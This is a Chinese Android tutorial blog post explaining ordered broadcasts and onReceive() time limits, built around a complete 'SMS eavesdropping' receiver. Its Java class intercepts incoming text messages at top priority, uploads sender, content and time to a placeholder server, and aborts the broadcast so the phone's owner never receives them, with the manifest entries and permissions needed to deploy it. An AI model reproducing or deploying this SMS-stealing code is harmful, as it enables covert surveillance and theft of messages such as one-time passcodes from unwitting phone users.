BroadcastReceiver广播接收者(五)——onReceive()中的耗时任务以及短信窃听

SMSBroadcastReceiver如下:
package cn.com;

import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
/**
 * Demo示例:
 * 1 Android的两种广播
 * 2 广播接收者中onReceive()方法的注意事项
 * 3 利用广播接收者窃听短信且上传至服务器
 * 
 * 
 * 广播分为两种:普通广播和有序广播
 * 
 * Context.sendBroadcast()
 * 发送的是普通广播,所有订阅者都有机会获得并进行处理.
 * 
 * Context.sendOrderedBroadcast()
 * 发送有序广播,系统会根据接收者声明的优先级别按顺序逐个执行接收者.
 * 前面的接收者有权终止广播(BroadcastReceiver.abortBroadcast()).
 * 如果广播被前面的接收者终止,后面的接收者就再也无法获取到广播.
 * 对于有序广播,前面的接收者可以将数据通过setResultExtras(Bundle)方法存放进结果对象.然后传给下一个接收者,
 * 下一个接收者通过代码:Bundle bundle = getResultExtras(true))可以获取上一个接收者存入在结果对象中的数据.
 * 
 * 当系统收到短信发出的广播属于有序广播.如果想阻止用户收到短信,可以通过设置优先级,让自定义的接收者先获取到广播;
 * 然后终止广播,这样用户就接收不到短信了.
 * 除了短信到来广播Intent,Android还有很多广播Intent如:开机启动、电池电量变化、时间已经改变等
 * 
 * 注意:
 * 1 在Android中,每次广播消息到来时都会创建BroadcastReceiver实例并执行onReceive()方法
 *   该方法执行完后,BroadcastReceiver的实例就会被销毁.
 *   当onReceive()方法在短时间内(约10S)内没有执行完毕就会导致ANR.
 *   所以在BroadcastReceiver里不能做一些比较耗时的操作.
 *   如果需要完成一项比较耗时的工作,应该通过发送Intent给Service,由Service来完成
 * 2 onReceive()方法中不能使用子线程来解决耗时的工作
 *   因为BroadcastReceiver的生命周期很短,子线程可能还没有结束BroadcastReceiver就先结束了.
 *   BroadcastReceiver一旦结束,此时BroadcastReceiver所在的进程很容易在系统需要内存时被优先杀死.
 *   因为它属于空进程(没有任何活动组件的进程).如果它的宿主进程被杀死,那么正在工作的子线程也会被杀死.
 *   所以采用子线程来解决是不可靠的.
 * 
 * 
 * 此处关于短信窃听的示例很简单(当然实用性也大打折扣~)
 * 对应代码本身不再说明.
 * 
 * 配置广播接收者:
 *  <receiver android:name=".SMSBroadcastReceiver">
 *      <intent-filter android:priority="1000">
 *         <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
 *     </intent-filter>
 *  </receiver>
 *  
 *  注意权限:
 *  <!-- 接收短信权限 -->
 *  <uses-permission android:name="android.permission.RECEIVE_SMS"/>
 *  <!-- 访问internet权限 -->
 *  <uses-permission android:name="android.permission.INTERNET"/>
 *
 */

public class SMSBroadcastReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Object[] pdus = (Object[]) intent.getExtras().get("pdus");
		for (Object pdu : pdus) {
			SmsMessage message = SmsMessage.createFromPdu((byte[]) pdu);
			String sender = message.getDisplayOriginatingAddress();
			String content = message.getMessageBody();
			long date = message.getTimestampMillis();
			Date timeDate = new Date(date);
			SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
			String time = simpleDateFormat.format(timeDate);
			sendMessageToPlatform(sender, content, time);
			// 中断广播,不再往下传递
			abortBroadcast();
		}
	}

	/**
	 * 将短信上传至后台
	 */
	private void sendMessageToPlatform(String sender, String content,String time) {
		String path = "http://your paltform address";
		try {
			String params = "method=getSMS&sender=" + sender + "&content="+
		                    URLEncoder.encode(content, "UTF-8") + "&time=" + time;
			byte[] entity = params.getBytes();
			HttpURLConnection httpURLConnection=(HttpURLConnection)new URL(path).openConnection();
			httpURLConnection.setConnectTimeout(5000);
			httpURLConnection.setRequestMethod("GET");
			httpURLConnection.setDoOutput(true);
			httpURLConnection.setRequestProperty("Content-Type","application/x-www-form-urlencoded");
			httpURLConnection.setRequestProperty("Content-Length",String.valueOf(entity.length));
			OutputStream outputStream = httpURLConnection.getOutputStream();
			outputStream.write(entity);
			httpURLConnection.getResponseCode();
		} catch (Exception e) {
			e.printStackTrace();
		}
	}

}


上一篇:利用短信猫接收短信控制台程序


下一篇:MySql性能调优